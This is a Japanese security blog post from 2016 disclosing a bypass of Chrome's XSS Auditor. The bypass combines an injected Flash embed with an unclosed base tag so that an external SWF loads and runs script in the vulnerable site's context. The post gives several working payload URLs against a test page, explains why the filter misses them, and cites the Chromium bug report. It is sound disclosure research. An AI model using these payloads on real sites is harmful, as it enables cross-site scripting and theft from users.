2016/05/18

ブラウザのXSS保護機能をバイパスする(8)

English version: http://mksben.l0.cm/2016/05/xssauditor-bypass-flash-basetag.html
-------------------------------------

このブログではおなじみ、ブラウザのXSS保護機能をバイパスするコーナーです。
今回はIEではなく、ChromeのXSS Auditorをバイパスします。

数日前、Marioさんが自身の発見したAuditorのバイパスが修正されたことに気付いて、新たなバイパスを探していたので、一緒になって探していたらみつけました。

Marioさんが新たにみつけたのはこちらです。

僕がみつけたのは、Flashとbaseタグを用いる方法です。

このバグは既に以下で報告済みです。(現時点では閲覧制限がありますが、ChromeはAuditorのバイパスをただのバグと扱うので、そのうちオープンになるはずです。)
https://bugs.chromium.org/p/chromium/issues/detail?id=612672

早速、方法から紹介しましょう。
<div>タグに囲まれた箇所にReflected XSSがあるとします。このとき、以下のような文字列でバイパスできます。

https://vulnerabledoma.in/xss_auditortest?test=1&q=<embed+allowscriptaccess=always+src=/xss.swf><base+href=//l0.cm/
<div><embed allowscriptaccess=always src=/xss.swf><base href=//l0.cm/</div>
いやあ、シンプルで美しいですね…!

なぜこのような形でバイパスするに至ったか、簡単にみていきましょう。
以下のような、外部のリソースを取りに行く文字列はブロックされます。
https://vulnerabledoma.in/xss_auditortest?test=1&q=<embed+src=https://evil/>
<embed src=https://evil/>
しかし、以下のような相対パスはブロックされません。

https://vulnerabledoma.in/xss_auditortest?test=1&q=<embed+src=/aaa>
<embed src=/aaa>
ということは、ベースのURLさえ変更することができれば、XSSができそうです。baseタグももちろんブロックされますが、>でタグを閉じなければ、ブロックを回避できる場合があるようです。

以下はブロックされます。
https://vulnerabledoma.in/xss_auditortest?test=3&q=<base+href=//evil/
<div><base href=//evil/ </div>
しかし、以下はブロックされません。
https://vulnerabledoma.in/xss_auditortest?test=1&q=<base+href=//evil/
<div><base href=//evil/</div>
どこが違うかわかるでしょうか?前者は、注入ポイントの後ろにスペースが入っています。どうやら、スペースや改行などの空白文字が注入ポイントの直後に入っている場合にはAuditorは閉じタグがなくても反応するようです。言い換えれば、直後に空白がなければbaseタグは設定できます。
これらから導かれたのが、最初に紹介した以下の形です。これで、外部のFlashファイル(https://l0.cm/xss.swf)がロードされ、allowscriptaccess=alwaysの指定により、 vulnerabledoma.in のコンテキストでスクリプトが実行されます。

https://vulnerabledoma.in/xss_auditortest?test=1&q=<embed+allowscriptaccess=always+src=/xss.swf><base+href=//l0.cm/
<div><embed allowscriptaccess=always src=/xss.swf><base href=//l0.cm/</div>
注入ポイントの直後に空白がある場合だと無理かというと、そうでもありません。その後ろのどこかに"'などの引用符があれば<base href="//evil/のように閉じない引用符をつけることで、反応を回避できます。

以下の状況ではAuditorは反応しません。
https://vulnerabledoma.in/xss_auditortest?test=4&q=<embed+allowscriptaccess=always+src=/xss.swf><base+href="//l0.cm/
<div>
<embed allowscriptaccess=always src=/xss.swf><base href="//l0.cm/
</div><div id="x">AAA</div>
大抵、"'はあるはずなので、一般的なReflected XSSの状況でかなり便利に使えるバイパス方法ではないかと思います。

ちなみになぜ、scriptタグではなくFlashを使っているかというと、scriptタグもembedタグと同じように、<script src=/xss.js></script><base href=//evil/ などがブロックされずに通るのですが、scriptタグの場合はベースのURLを変更するよりも先にscriptタグのロードが始まってしまうんですよね。

以下でこの動作を確認できます。
https://vulnerabledoma.in/xss_auditortest?test=1&q=%3Cscript%20src=/xss.js%3E%3C/script%3E%3Cbase%20href=//evil/

Flashの場合は、baseタグがあとからでてきても、それを基準にロードを開始してくれます。したがって、Flashを使ったというわけです。

以上です。普段のXSSにお使いください!